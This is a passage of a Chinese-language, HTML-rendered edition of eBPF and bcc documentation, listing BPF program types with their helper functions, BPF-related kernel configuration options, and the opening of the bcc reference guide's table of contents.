<tr><td><code>BPF_PROG_TYPE_SOCKET_FILTER</code></td><td><code>BPF_FUNC_skb_load_bytes()</code> <br> <code>BPF_FUNC_skb_load_bytes_relative()</code> <br> <code>BPF_FUNC_get_socket_cookie()</code> <br> <code>BPF_FUNC_get_socket_uid()</code> <br> <code>BPF_FUNC_perf_event_output()</code> <br> <code>基础函数</code></td></tr>
<tr><td><code>BPF_PROG_TYPE_KPROBE</code></td><td><code>BPF_FUNC_perf_event_output()</code> <br> <code>BPF_FUNC_get_stackid()</code> <br> <code>BPF_FUNC_get_stack()</code> <br> <code>BPF_FUNC_perf_event_read_value()</code> <br> <code>BPF_FUNC_override_return()</code> <br> <code>跟踪函数</code></td></tr>
<tr><td><code>BPF_PROG_TYPE_TRACEPOINT</code></td><td><code>BPF_FUNC_perf_event_output()</code> <br> <code>BPF_FUNC_get_stackid()</code> <br> <code>BPF_FUNC_get_stack()</code> <br> <code>BPF_FUNC_d_path()</code> <br> <code>跟踪函数</code></td></tr>
<tr><td><code>BPF_PROG_TYPE_XDP</code></td><td><code>BPF_FUNC_perf_event_output()</code> <br> <code>BPF_FUNC_get_smp_processor_id()</code> <br> <code>BPF_FUNC_csum_diff()</code> <br> <code>BPF_FUNC_xdp_adjust_head()</code> <br> <code>BPF_FUNC_xdp_adjust_meta()</code> <br> <code>BPF_FUNC_redirect()</code> <br> <code>BPF_FUNC_redirect_map()</code> <br> <code>BPF_FUNC_xdp_adjust_tail()</code> <br> <code>BPF_FUNC_fib_lookup()</code> <br> <code>基础函数</code></td></tr>
<tr><td><code>BPF_PROG_TYPE_PERF_EVENT</code></td><td><code>BPF_FUNC_perf_event_output()</code> <br> <code>BPF_FUNC_get_stackid()</code> <br> <code>BPF_FUNC_get_stack()</code> <br> <code>BPF_FUNC_perf_prog_read_value()</code> <br> <code>跟踪函数</code></td></tr>
<tr><td><code>BPF_PROG_TYPE_CGROUP_SOCK</code></td><td>|<a href="bcc-documents/"><code>BPF_FUNC_get_current_uid_gid()</code></a> <br> <code>基本功能</code></td></tr>
<tr><td><code>BPF_PROG_TYPE_LWT_IN</code></td><td>|<a href="bcc-documents/"><code>BPF_FUNC_lwt_push_encap()</code></a> <br> <code>LWT功能</code> <br> <code>基本功能</code></td></tr>
<tr><td><code>BPF_PROG_TYPE_LWT_OUT</code></td><td><code>LWT功能</code> <br> <code>基本功能</code></td></tr>
<tr><td><code>BPF_PROG_TYPE_LWT_XMIT</code></td><td>|<a href="bcc-documents/"><code>BPF_FUNC_skb_get_tunnel_key()</code></a> <br> <a href="bcc-documents/"><code>BPF_FUNC_skb_set_tunnel_key()</code></a> <br> <a href="bcc-documents/"><code>BPF_FUNC_skb_get_tunnel_opt()</code></a> <br> <a href="bcc-documents/"><code>BPF_FUNC_skb_set_tunnel_opt()</code></a> <br> <a href="bcc-documents/"><code>BPF_FUNC_redirect()</code></a> <br> <a href="bcc-documents/"><code>BPF_FUNC_clone_redirect()</code></a> <br> <a href="bcc-documents/"><code>BPF_FUNC_skb_change_tail()</code></a> <br> <a href="bcc-documents/"><code>BPF_FUNC_skb_change_head()</code></a> <br> <a href="bcc-documents/"><code>BPF_FUNC_skb_store_bytes()</code></a> <br> <a href="bcc-documents/"><code>BPF_FUNC_csum_update()</code></a> <br> <a href="bcc-documents/"><code>BPF_FUNC_l3_csum_replace()</code></a> <br> <a href="bcc-documents/"><code>BPF_FUNC_l4_csum_replace()</code></a> <br> <a href="bcc-documents/"><code>BPF_FUNC_set_hash_invalid()</code></a> <br> <code>LWT功能</code></td></tr>
<tr><td><code>BPF_PROG_TYPE_SOCK_OPS</code></td><td>|<a href="bcc-documents/"><code>BPF_FUNC_setsockopt()</code></a> <br> <a href="bcc-documents/"><code>BPF_FUNC_getsockopt()</code></a> <br> <a href="bcc-documents/"><code>BPF_FUNC_sock_ops_cb_flags_set()</code></a> <br> <a href="bcc-documents/"><code>BPF_FUNC_sock_map_update()</code></a> <br> <a href="bcc-documents/"><code>BPF_FUNC_sock_hash_update()</code></a> <br> <a href="bcc-documents/"><code>BPF_FUNC_get_socket_cookie()</code></a> <br> <code>基本功能</code></td></tr>
<tr><td><code>BPF_PROG_TYPE_SK_SKB</code></td><td>|<a href="bcc-documents/"><code>BPF_FUNC_skb_store_bytes()</code></a> <br> <a href="bcc-documents/"><code>BPF_FUNC_skb_load_bytes()</code></a> <br> <a href="bcc-documents/"><code>BPF_FUNC_skb_pull_data()</code></a> <br> <a href="bcc-documents/"><code>BPF_FUNC_skb_change_tail()</code></a> <br> <a href="bcc-documents/"><code>BPF_FUNC_skb_change_head()</code></a> <br> <a href="bcc-documents/"><code>BPF_FUNC_get_socket_cookie()</code></a> <br> <a href="bcc-documents/"><code>BPF_FUNC_get_socket_uid()</code></a> <br> <a href="bcc-documents/"><code>BPF_FUNC_sk_redirect_map()</code></a> <br> <a href="bcc-documents/"><code>BPF_FUNC_sk_redirect_hash()</code></a> <br> <a href="bcc-documents/"><code>BPF_FUNC_sk_lookup_tcp()</code></a> <br> <a href="bcc-documents/"><code>BPF_FUNC_sk_lookup_udp()</code></a> <br> <a href="bcc-documents/"><code>BPF_FUNC_sk_release()</code></a> <br> <code>基本功能</code></td></tr>
<tr><td><code>BPF_PROG_TYPE_CGROUP_DEVICE</code></td><td>|<a href="bcc-documents/"><code>BPF_FUNC_map_lookup_elem()</code></a> <br> <a href="bcc-documents/"><code>BPF_FUNC_map_update_elem()</code></a> <br> <a href="bcc-documents/"><code>BPF_FUNC_map_delete_elem()</code></a> <br> <a href="bcc-documents/"><code>BPF_FUNC_get_current_uid_gid()</code></a> <br> <a href="bcc-documents/"><code>BPF_FUNC_trace_printk()</code></a></td></tr>
<tr><td><code>BPF_PROG_TYPE_RAW_TRACEPOINT</code></td><td><code>BPF_FUNC_perf_event_output()</code> <br> <code>BPF_FUNC_get_stackid()</code> <br> <code>BPF_FUNC_get_stack()</code> <br> <code>BPF_FUNC_skb_output()</code> <br> <code>跟踪功能</code></td></tr>
<tr><td><code>BPF_PROG_TYPE_CGROUP_SOCK_ADDR</code></td><td><code>BPF_FUNC_get_current_uid_gid()</code> <br> <code>BPF_FUNC_bind()</code> <br> <code>BPF_FUNC_get_socket_cookie()</code> <br> <code>基本功能</code></td></tr>
<tr><td><code>BPF_PROG_TYPE_LWT_SEG6LOCAL</code></td><td><code>BPF_FUNC_lwt_seg6_store_bytes()</code> <br> <code>BPF_FUNC_lwt_seg6_action()</code> <br> <code>BPF_FUNC_lwt_seg6_adjust_srh()</code> <br> <code>LWT功能</code></td></tr>
<tr><td><code>BPF_PROG_TYPE_LIRC_MODE2</code></td><td><code>BPF_FUNC_rc_repeat()</code> <br> <code>BPF_FUNC_rc_keydown()</code> <br> <code>BPF_FUNC_rc_pointer_rel()</code> <br> <code>BPF_FUNC_map_lookup_elem()</code> <br> <code>BPF_FUNC_map_update_elem()</code> <br> <code>BPF_FUNC_map_delete_elem()</code> <br> <code>BPF_FUNC_ktime_get_ns()</code> <br> <code>BPF_FUNC_tail_call()</code> <br> <code>BPF_FUNC_get_prandom_u32()</code> <br> <code>BPF_FUNC_trace_printk()</code></td></tr>
<tr><td><code>BPF_PROG_TYPE_SK_REUSEPORT</code></td><td><code>BPF_FUNC_sk_select_reuseport()</code> <br> <code>BPF_FUNC_skb_load_bytes()</code> <br> <code>BPF_FUNC_load_bytes_relative()</code> <br> <code>基本功能</code></td></tr>
<tr><td><code>BPF_PROG_TYPE_FLOW_DISSECTOR</code></td><td><code>BPF_FUNC_skb_load_bytes()</code> <br> <code>基本功能</code></td></tr>
</tbody></table>
</div><div class="table-wrapper"><table><thead><tr><th>功能组</th><th>功能</th></tr></thead><tbody>
<tr><td><code>基本功能</code></td><td><code>BPF_FUNC_map_lookup_elem()</code> <br> <code>BPF_FUNC_map_update_elem()</code> <br> <code>BPF_FUNC_map_delete_elem()</code> <br> <code>BPF_FUNC_map_peek_elem()</code> <br> <code>BPF_FUNC_map_pop_elem()</code> <br> <code>BPF_FUNC_map_push_elem()</code> <br> <code>BPF_FUNC_get_prandom_u32()</code> <br> <code>BPF_FUNC_get_smp_processor_id()</code> <br> <code>BPF_FUNC_get_numa_node_id()</code> <br> <code>BPF_FUNC_tail_call()</code> <br> <code>BPF_FUNC_ktime_get_boot_ns()</code> <br> <code>BPF_FUNC_ktime_get_ns()</code> <br> <code>BPF_FUNC_trace_printk()</code> <br> <code>BPF_FUNC_spin_lock()</code> <br> <code>BPF_FUNC_spin_unlock()</code></td></tr>
<tr><td><code>LWT函数</code></td><td><code>BPF_FUNC_skb_load_bytes()</code> <br> <code>BPF_FUNC_skb_pull_data()</code> <br> <code>BPF_FUNC_csum_diff()</code> <br> <code>BPF_FUNC_get_cgroup_classid()</code> <br> <code>BPF_FUNC_get_route_realm()</code> <br> <code>BPF_FUNC_get_hash_recalc()</code> <br> <code>BPF_FUNC_perf_event_output()</code> <br> <code>BPF_FUNC_get_smp_processor_id()</code> <br> <code>BPF_FUNC_skb_under_cgroup()</code></td></tr>
</tbody></table>
</div><div style="break-before: page; page-break-before: always;"></div><h1 id="bpf-特性的内核配置"><a class="header" href="#bpf-特性的内核配置">BPF 特性的内核配置</a></h1>
<h2 id="与-bpf-相关的内核配置"><a class="header" href="#与-bpf-相关的内核配置">与 BPF 相关的内核配置</a></h2>
<div class="table-wrapper"><table><thead><tr><th style="text-align: left">功能</th><th style="text-align: left">内核配置</th><th style="text-align: left">描述</th></tr></thead><tbody>
<tr><td style="text-align: left"><strong>基础</strong></td><td style="text-align: left">CONFIG_BPF_SYSCALL</td><td style="text-align: left">启用 bpf() 系统调用</td></tr>
<tr><td style="text-align: left"></td><td style="text-align: left">CONFIG_BPF_JIT</td><td style="text-align: left">BPF 程序通常由 BPF 解释器处理。此选项允许内核在加载程序时生成本地代码。这将显著加速 BPF 程序的处理</td></tr>
<tr><td style="text-align: left"></td><td style="text-align: left">CONFIG_HAVE_BPF_JIT</td><td style="text-align: left">启用 BPF 即时编译器</td></tr>
<tr><td style="text-align: left"></td><td style="text-align: left">CONFIG_HAVE_EBPF_JIT</td><td style="text-align: left">扩展 BPF JIT (eBPF)</td></tr>
<tr><td style="text-align: left"></td><td style="text-align: left">CONFIG_HAVE_CBPF_JIT</td><td style="text-align: left">经典 BPF JIT (cBPF)</td></tr>
<tr><td style="text-align: left"></td><td style="text-align: left">CONFIG_MODULES</td><td style="text-align: left">启用可加载内核模块的构建</td></tr>
<tr><td style="text-align: left"></td><td style="text-align: left">CONFIG_BPF</td><td style="text-align: left">BPF VM 解释器</td></tr>
<tr><td style="text-align: left"></td><td style="text-align: left">CONFIG_BPF_EVENTS</td><td style="text-align: left">允许用户将 BPF 程序附加到 kprobe、uprobe 和 tracepoint 事件上</td></tr>
<tr><td style="text-align: left"></td><td style="text-align: left">CONFIG_PERF_EVENTS</td><td style="text-align: left">内核性能事件和计数器</td></tr>
<tr><td style="text-align: left"></td><td style="text-align: left">CONFIG_HAVE_PERF_EVENTS</td><td style="text-align: left">启用性能事件</td></tr>
<tr><td style="text-align: left"></td><td style="text-align: left">CONFIG_PROFILING</td><td style="text-align: left">启用分析器使用的扩展分析支持机制</td></tr>
<tr><td style="text-align: left"><strong>BTF</strong></td><td style="text-align: left">CONFIG_DEBUG_INFO_BTF</td><td style="text-align: left">从 DWARF 调试信息生成去重的 BTF 类型信息</td></tr>
<tr><td style="text-align: left"></td><td style="text-align: left">CONFIG_PAHOLE_HAS_SPLIT_BTF</td><td style="text-align: left">为每个选定的内核模块生成 BTF</td></tr>
<tr><td style="text-align: left"></td><td style="text-align: left">CONFIG_DEBUG_INFO_BTF_MODULES</td><td style="text-align: left">为内核模块生成紧凑的分割 BTF 类型信息</td></tr>
<tr><td style="text-align: left"><strong>安全</strong></td><td style="text-align: left">CONFIG_BPF_JIT_ALWAYS_ON</td><td style="text-align: left">启用 BPF JIT 并删除 BPF 解释器以避免猜测执行</td></tr>
<tr><td style="text-align: left"></td><td style="text-align: left">CONFIG_BPF_UNPRIV_DEFAULT_OFF</td><td style="text-align: left">通过设置默认禁用非特权 BPF</td></tr>
<tr><td style="text-align: left"><strong>Cgroup</strong></td><td style="text-align: left">CONFIG_CGROUP_BPF</td><td style="text-align: left">支持将 BPF 程序附加到 cgroup 上</td></tr>
<tr><td style="text-align: left"><strong>网络</strong></td><td style="text-align: left">CONFIG_BPFILTER</td><td style="text-align: left">基于 BPF 的数据包过滤框架 (BPFILTER)</td></tr>
<tr><td style="text-align: left"></td><td style="text-align: left">CONFIG_BPFILTER_UMH</td><td style="text-align: left">使用内嵌的用户模式助手构建 bpfilter 内核模块</td></tr>
<tr><td style="text-align: left"></td><td style="text-align: left">CONFIG_NET_CLS_BPF</td><td style="text-align: left">基于可编程 BPF (JIT'ed) 过滤器进行数据包分类的基于 BPF 的分类器的替代方法</td></tr>
<tr><td style="text-align: left"></td><td style="text-align: left">CONFIG_BPF_STREAM_PARSER</td><td style="text-align: left">启用此功能允许使用BPF_MAP_TYPE_SOCKMAP与TCP流解析器配合使用</td></tr>
<tr><td style="text-align: left"></td><td style="text-align: left">CONFIG_LWTUNNEL_BPF</td><td style="text-align: left">在路由查找入站和出站数据包后允许作为下一跳操作运行BPF程序</td></tr>
<tr><td style="text-align: left"></td><td style="text-align: left">CONFIG_NETFILTER_XT_MATCH_BPF</td><td style="text-align: left">BPF匹配将对每个数据包应用Linux套接字过滤器并接受过滤器返回非零值的数据包</td></tr>
<tr><td style="text-align: left"></td><td style="text-align: left">CONFIG_IPV6_SEG6_BPF</td><td style="text-align: left">为支持BPF seg6local挂钩添加IPv6 Segement Routing助手 <a href="https://github.com/torvalds/linux/commit/fe94cc290f535709d3c5ebd1e472dfd0aec7ee7">参考</a></td></tr>
<tr><td style="text-align: left"><strong>kprobes</strong></td><td style="text-align: left">CONFIG_KPROBE_EVENTS</td><td style="text-align: left">允许用户通过ftrace接口动态添加跟踪事件类似于tracepoints</td></tr>
<tr><td style="text-align: left"></td><td style="text-align: left">CONFIG_KPROBES</td><td style="text-align: left">启用基于kprobes的动态事件</td></tr>
<tr><td style="text-align: left"></td><td style="text-align: left">CONFIG_HAVE_KPROBES</td><td style="text-align: left">检查是否启用了kprobes</td></tr>
<tr><td style="text-align: left"></td><td style="text-align: left">CONFIG_HAVE_REGS_AND_STACK_ACCESS_API</td><td style="text-align: left">如果架构支持从pt_regs访问寄存器和堆栈条目所需的API则应该选择此符号。例如基于kprobes的事件跟踪器需要此API</td></tr>
<tr><td style="text-align: left"></td><td style="text-align: left">CONFIG_KPROBES_ON_FTRACE</td><td style="text-align: left">如果架构支持将pt_regs完全传递给函数跟踪则在函数跟踪器上有kprobes</td></tr>
<tr><td style="text-align: left"><strong>kprobe multi</strong></td><td style="text-align: left">CONFIG_FPROBE</td><td style="text-align: left">启用fprobe以一次性在多个函数上附加探测点</td></tr>
<tr><td style="text-align: left"><strong>kprobe override</strong></td><td style="text-align: left">CONFIG_BPF_KPROBE_OVERRIDE</td><td style="text-align: left">启用BPF程序覆盖kprobed函数</td></tr>
<tr><td style="text-align: left"><strong>uprobes</strong></td><td style="text-align: left">CONFIG_UPROBE_EVENTS</td><td style="text-align: left">启用基于uprobes的动态事件</td></tr>
<tr><td style="text-align: left"></td><td style="text-align: left">CONFIG_ARCH_SUPPORTS_UPROBES</td><td style="text-align: left">架构特定的uprobes支持</td></tr>
<tr><td style="text-align: left"></td><td style="text-align: left">CONFIG_UPROBES</td><td style="text-align: left">Uprobes是kprobes的用户空间对应项它们允许仪器应用程序如'perf probe')在用户空间二进制文件和库中建立非侵入性探测点,并在用户空间应用程序触发探测点时执行处理函数。</td></tr>
<tr><td style="text-align: left"><strong>Tracepoints</strong></td><td style="text-align: left">CONFIG_TRACEPOINTS</td><td style="text-align: left">启用在内核中插入Tracepoints并与问题函数连接</td></tr>
<tr><td style="text-align: left"></td><td style="text-align: left">CONFIG_HAVE_SYSCALL_TRACEPOINTS</td><td style="text-align: left">启用系统调用进入/退出跟踪</td></tr>
<tr><td style="text-align: left"><strong>Raw Tracepoints</strong></td><td style="text-align: left">Same as Tracepoints</td><td style="text-align: left"></td></tr>
<tr><td style="text-align: left"><strong>LSM</strong></td><td style="text-align: left">CONFIG_BPF_LSM</td><td style="text-align: left">使用BPF程序对安全钩子进行仪器化实现动态MAC和审计策略</td></tr>
<tr><td style="text-align: left"><strong>LIRC</strong></td><td style="text-align: left">CONFIG_BPF_LIRC_MODE2</td><td style="text-align: left">允许将BPF程序附加到lirc设备</td></tr>
</tbody></table>
</div><div style="break-before: page; page-break-before: always;"></div><h1 id="bcc-参考指南"><a class="header" href="#bcc-参考指南">bcc 参考指南</a></h1>
<p>用于搜索 (Ctrl-F) 和参考。如需教程,请从 <a href="bcc-documents/tutorial.html">tutorial.md</a> 开始。</p>
<p>该指南尚未完成。如果感觉有遗漏的内容,请查看 bcc 和内核源码。如果确认确实有遗漏,请发送拉取请求进行修复,并协助所有人。</p>
<h2 id="目录"><a class="header" href="#目录">目录</a></h2>
<ul>
<li><a href="bcc-documents/reference_guide.html#bcc-%E5%8F%82%E8%80%83%E6%8C%87%E5%8D%97">bcc 参考指南</a>
<ul>
<li><a href="bcc-documents/reference_guide.html#%E7%9B%AE%E5%BD%95">目录</a></li>
</ul>
</li>
<li><a href="bcc-documents/reference_guide.html#bpf-c">BPF C</a>
<ul>
<li><a href="bcc-documents/reference_guide.html#events--arguments">Events &amp; Arguments</a>
<ul>
<li><a href="bcc-documents/reference_guide.html#1-kprobes">1. kprobes</a></li>
<li><a href="bcc-documents/reference_guide.html#2-kretprobes">2. kretprobes</a></li>
<li><a href="bcc-documents/reference_guide.html#3-tracepoints">3. Tracepoints</a></li>
<li><a href="bcc-documents/reference_guide.html#4-uprobes">4. uprobes</a></li>
<li><a href="bcc-documents/reference_guide.html#6-usdt%E6%8E%A2%E6%B5%8B%E7%82%B9">6. USDT探测点</a></li>
<li><a href="bcc-documents/reference_guide.html#7-%E5%8E%9F%E5%A7%8B%E8%B7%9F%E8%B8%AA%E7%82%B9">7. 原始跟踪点</a></li>
<li><a href="bcc-documents/reference_guide.html#8-%E7%B3%BB%E7%BB%9F%E8%B0%83%E7%94%A8%E8%B7%9F%E8%B8%AA%E7%82%B9">8. 系统调用跟踪点</a></li>
<li><a href="bcc-documents/reference_guide.html#9-kfuncs">9. kfuncs</a></li>
<li><a href="bcc-documents/reference_guide.html#10-kretfuncs">10. kretfuncs</a></li>
<li><a href="bcc-documents/reference_guide.html#11-lsm-probes">11. LSM Probes</a></li>
<li><a href="bcc-documents/reference_guide.html#12-bpf%E8%BF%AD%E4%BB%A3%E5%99%A8">12. BPF迭代器</a></li>
</ul>
</li>
<li><a href="bcc-documents/reference_guide.html#%E6%95%B0%E6%8D%AE">数据</a>
<ul>
<li><a href="bcc-documents/reference_guide.html#1-bpf_probe_read_kernel">1. bpf_probe_read_kernel()</a></li>
<li><a href="bcc-documents/reference_guide.html#2-bpf_probe_read_kernel_strshell">2. bpf_probe_read_kernel_str()&quot;.```shell</a></li>
<li><a href="bcc-documents/reference_guide.html#3-bpf_ktime_get_ns">3. bpf_ktime_get_ns()</a></li>
<li><a href="bcc-documents/reference_guide.html#4-bpf_get_current_pid_tgid">4. bpf_get_current_pid_tgid()</a></li>
<li><a href="bcc-documents/reference_guide.html#5-bpf_get_current_uid_gid">5. bpf_get_current_uid_gid()</a></li>
<li><a href="bcc-documents/reference_guide.html#6-bpf_get_current_comm">6. bpf_get_current_comm()</a></li>
<li><a href="bcc-documents/reference_guide.html#7-bpf_get_current_task">7. bpf_get_current_task()</a></li>
<li><a href="bcc-documents/reference_guide.html#8-bpf_log2l">8. bpf_log2l()</a></li>
<li><a href="bcc-documents/reference_guide.html#9-bpf_get_prandom_u32">9. bpf_get_prandom_u32()</a></li>
<li><a href="bcc-documents/reference_guide.html#10-bpf_probe_read_user">10. bpf_probe_read_user()</a></li>
<li><a href="bcc-documents/reference_guide.html#11-bpf_probe_read_user_str">11. bpf_probe_read_user_str()</a></li>
<li><a href="bcc-documents/reference_guide.html#12-bpf_get_ns_current_pid_tgid">12. bpf_get_ns_current_pid_tgid()</a></li>
</ul>
</li>
<li><a href="bcc-documents/reference_guide.html#%E8%B0%83%E8%AF%95">调试</a>
<ul>
<li><a href="bcc-documents/reference_guide.html#1-bpf_override_return">1. bpf_override_return()</a></li>
</ul>
</li>
<li><a href="bcc-documents/reference_guide.html#%E8%BE%93%E5%87%BA">输出</a>
<ul>
<li><a href="bcc-documents/reference_guide.html#1-bpf_trace_printk">1. bpf_trace_printk()</a></li>
<li><a href="bcc-documents/reference_guide.html#2-bpf_perf_output">2. BPF_PERF_OUTPUT</a></li>
<li><a href="bcc-documents/reference_guide.html#3-perf_submit">3. perf_submit()</a></li>
<li><a href="bcc-documents/reference_guide.html#4-perf_submit_skb">4. perf_submit_skb()</a></li>
<li><a href="bcc-documents/reference_guide.html#5-bpf_ringbuf_output">5. BPF_RINGBUF_OUTPUT</a></li>
<li><a href="bcc-documents/reference_guide.html#6-ringbuf_output">6. ringbuf_output</a></li>
<li><a href="bcc-documents/reference_guide.html#7-ringbuf_reserve">7. ringbuf_reserve()</a></li>
<li><a href="bcc-documents/reference_guide.html#8-ringbuf_submit">8. ringbuf_submit</a></li>
<li><a href="bcc-documents/reference_guide.html#9-ringbuf_discard">9. ringbuf_discard()</a></li>
</ul>
</li>
<li><a href="bcc-documents/reference_guide.html#maps">Maps</a>
<ul>
<li><a href="bcc-documents/reference_guide.html#1-bpf_table">1. BPF_TABLE</a>
<ul>
<li><a href="bcc-documents/reference_guide.html#%E5%9B%BA%E5%AE%9A%E6%98%A0%E5%B0%84">固定映射</a></li>
</ul>
</li>
<li><a href="bcc-documents/reference_guide.html#2-bpf_hash">2. BPF_HASH</a></li>
<li><a href="bcc-documents/reference_guide.html#3-bpf_array">3. BPF_ARRAY</a></li>
<li><a href="bcc-documents/reference_guide.html#4-bpf_histogram">4. BPF_HISTOGRAM</a></li>
<li><a href="bcc-documents/reference_guide.html#5-bpf_stack_trace">5. BPF_STACK_TRACE</a></li>
<li><a href="bcc-documents/reference_guide.html#6-bpf_perf_array">6. BPF_PERF_ARRAY</a></li>
<li><a href="bcc-documents/reference_guide.html#7-bpf_percpu_hash">7. BPF_PERCPU_HASH</a></li>
<li><a href="bcc-documents/reference_guide.html#8-bpf_percpu_array">8. BPF_PERCPU_ARRAY</a></li>
<li><a href="bcc-documents/reference_guide.html#9-bpf_lpm_trie">9. BPF_LPM_TRIE</a></li>
<li><a href="bcc-documents/reference_guide.html#10-bpf_prog_array">10. BPF_PROG_ARRAY</a></li>
<li><a href="bcc-documents/reference_guide.html#11-bpf_devmap">11. BPF_DEVMAP</a></li>
<li><a href="bcc-documents/reference_guide.html#12-bpf_cpumap">12. BPF_CPUMAP</a></li>
<li><a href="bcc-documents/reference_guide.html#13-bpf_xskmap">13. BPF_XSKMAP</a></li>
<li><a href="bcc-documents/reference_guide.html#14-bpf_array_of_maps">14. BPF_ARRAY_OF_MAPS</a></li>
<li><a href="bcc-documents/reference_guide.html#15-bpf_hash_of_maps">15. BPF_HASH_OF_MAPS</a></li>
<li><a href="bcc-documents/reference_guide.html#16-bpf_stack">16. BPF_STACK</a></li>
<li><a href="bcc-documents/reference_guide.html#17-bpf_queue">17. BPF_QUEUE</a></li>
<li><a href="bcc-documents/reference_guide.html#18-bpf_sockhash">18. BPF_SOCKHASH</a></li>
<li><a href="bcc-documents/reference_guide.html#19-maplookup">19. map.lookup()</a></li>
<li><a href="bcc-documents/reference_guide.html#20-maplookup_or_try_init">20. map.lookup_or_try_init()</a></li>
<li><a href="bcc-documents/reference_guide.html#21-mapdelete">21. map.delete()</a></li>
<li><a href="bcc-documents/reference_guide.html#22-mapupdate">22. map.update()</a></li>
<li><a href="bcc-documents/reference_guide.html#23-mapinsert">23. map.insert()</a></li>
<li><a href="bcc-documents/reference_guide.html#24-mapincrement">24. map.increment()</a></li>
<li><a href="bcc-documents/reference_guide.html#25-mapget_stackid">25. map.get_stackid()</a></li>
<li><a href="bcc-documents/reference_guide.html#26-mapperf_read">26. map.perf_read()</a></li>
<li><a href="bcc-documents/reference_guide.html#27-mapcall">27. map.call()</a></li>
<li><a href="bcc-documents/reference_guide.html#28-mapredirect_map">28. map.redirect_map()</a></li>
<li><a href="bcc-documents/reference_guide.html#29-mappush">29. map.push()</a></li>
<li><a href="bcc-documents/reference_guide.html#30-mappop">30. map.pop()</a></li>
<li><a href="bcc-documents/reference_guide.html#31-mappeek">31. map.peek()</a></li>
<li><a href="bcc-documents/reference_guide.html#32-mapsock_hash_update">32. map.sock_hash_update()</a></li>
<li><a href="bcc-documents/reference_guide.html#33-mapmsg_redirect_hash">33. map.msg_redirect_hash()</a></li>
<li><a href="bcc-documents/reference_guide.html#34-mapsk_redirect_hash">34. map.sk_redirect_hash()</a></li>
</ul>
</li>
<li><a href="bcc-documents/reference_guide.html#%E8%AE%B8%E5%8F%AF%E8%AF%81">许可证</a></li>
<li><a href="bcc-documents/reference_guide.html#rewriter">Rewriter</a></li>
</ul>
</li>
<li><a href="bcc-documents/reference_guide.html#bcc-python">bcc Python</a>
<ul>
<li><a href="bcc-documents/reference_guide.html#%E5%88%9D%E5%A7%8B%E5%8C%96">初始化</a>
<ul>
<li><a href="bcc-documents/reference_guide.html#1-bpf">1. BPF</a></li>
</ul>
</li>
<li><a href="bcc-documents/reference_guide.html#%E4%BA%8B%E4%BB%B6">事件</a>
<ul>
<li><a href="bcc-documents/reference_guide.html#1-attach_kprobe">1. attach_kprobe()</a></li>
<li><a href="bcc-documents/reference_guide.html#2-attach_kretprobe">2. attach_kretprobe()</a></li>
<li><a href="bcc-documents/reference_guide.html#3-attach_tracepoint">3. attach_tracepoint()</a></li>
<li><a href="bcc-documents/reference_guide.html#4-attach_uprobe">4. attach_uprobe()</a></li>
<li><a href="bcc-documents/reference_guide.html#5-attach_uretprobe">5. attach_uretprobe()</a></li>
<li><a href="bcc-documents/reference_guide.html#6-usdtenable_probe">6. USDT.enable_probe()</a></li>
<li><a href="bcc-documents/reference_guide.html#7-attach_raw_tracepoint">7. attach_raw_tracepoint()</a></li>
<li><a href="bcc-documents/reference_guide.html#8-attach_raw_socket">8. attach_raw_socket()</a></li>
<li><a href="bcc-documents/reference_guide.html#9-attach_xdp">9. attach_xdp()</a>
<ul>
<li><a href="bcc-documents/reference_guide.html#1-xdp_flags_update_if_noexist">1. XDP_FLAGS_UPDATE_IF_NOEXIST</a></li>
<li><a href="bcc-documents/reference_guide.html#2-xdp_flags_skb_mode">2. XDP_FLAGS_SKB_MODE</a></li>
<li><a href="bcc-documents/reference_guide.html#3-xdp_flags_drv_mode">3. XDP_FLAGS_DRV_MODE</a></li>
<li><a href="bcc-documents/reference_guide.html#4-xdp_flags_hw_mode">4. XDP_FLAGS_HW_MODE</a></li>
</ul>
</li>
<li><a href="bcc-documents/reference_guide.html#10-attach_func">10. attach_func()</a></li>
<li><a href="bcc-documents/reference_guide.html#12-detach_kprobe">12. detach_kprobe()</a></li>
<li><a href="bcc-documents/reference_guide.html#13-detach_kretprobe">13. detach_kretprobe()</a></li>
</ul>
</li>
<li><a href="bcc-documents/reference_guide.html#%E8%B0%83%E8%AF%95%E8%BE%93%E5%87%BA">调试输出</a>
<ul>
<li><a href="bcc-documents/reference_guide.html#1-trace_print">1. trace_print()</a></li>
<li><a href="bcc-documents/reference_guide.html#2-trace_fields">2. trace_fields()</a></li>
</ul>
</li>
<li><a href="bcc-documents/reference_guide.html#%E8%BE%93%E5%87%BA-api">输出 API</a>
<ul>
<li><a href="bcc-documents/reference_guide.html#1-perf_buffer_poll">1. perf_buffer_poll()</a></li>
<li><a href="bcc-documents/reference_guide.html#2-ring_buffer_poll">2. ring_buffer_poll()</a></li>
<li><a href="bcc-documents/reference_guide.html#3-ring_buffer_consume">3. ring_buffer_consume()</a></li>
</ul>
</li>
<li><a href="bcc-documents/reference_guide.html#map-apis">Map APIs</a>
<ul>
<li><a href="bcc-documents/reference_guide.html#1-get_table">1. get_table()</a></li>
<li><a href="bcc-documents/reference_guide.html#2-open_perf_buffer">2. open_perf_buffer()</a></li>
<li><a href="bcc-documents/reference_guide.html#4-values">4. values()</a></li>
<li><a href="bcc-documents/reference_guide.html#5-clear">5. clear()</a></li>
<li><a href="bcc-documents/reference_guide.html#6-items_lookup_and_delete_batch">6. items_lookup_and_delete_batch()</a></li>
<li><a href="bcc-documents/reference_guide.html#7-items_lookup_batch">7. items_lookup_batch()</a></li>
<li><a href="bcc-documents/reference_guide.html#8-items_delete_batch">8. items_delete_batch()</a></li>
<li><a href="bcc-documents/reference_guide.html#9-items_update_batch">9. items_update_batch()</a></li>
<li><a href="bcc-documents/reference_guide.html#11-print_linear_hist%E8%AF%AD%E6%B3%95-tableprint_linear_histval_typevalue-section_headerbucket-ptr-section_print_fnnone">11. print_linear_hist()&quot;.语法: <code>table.print_linear_hist(val_type=&quot;value&quot;, section_header=&quot;Bucket ptr&quot;, section_print_fn=None)</code></a></li>
<li><a href="bcc-documents/reference_guide.html#12-open_ring_buffer">12. open_ring_buffer()</a></li>
<li><a href="bcc-documents/reference_guide.html#13-push">13. push()</a></li>
<li><a href="bcc-documents/reference_guide.html#14-pop">14. pop()</a></li>
<li><a href="bcc-documents/reference_guide.html#15-peek">15. peek()</a></li>
</ul>
</li>
<li><a href="bcc-documents/reference_guide.html#%E8%BE%85%E5%8A%A9%E6%96%B9%E6%B3%95">辅助方法</a>
<ul>
<li><a href="bcc-documents/reference_guide.html#1-ksym">1. ksym()</a></li>
<li><a href="bcc-documents/reference_guide.html#2-ksymname">2. ksymname()</a></li>
<li><a href="bcc-documents/reference_guide.html#3-sym">3. sym()</a></li>
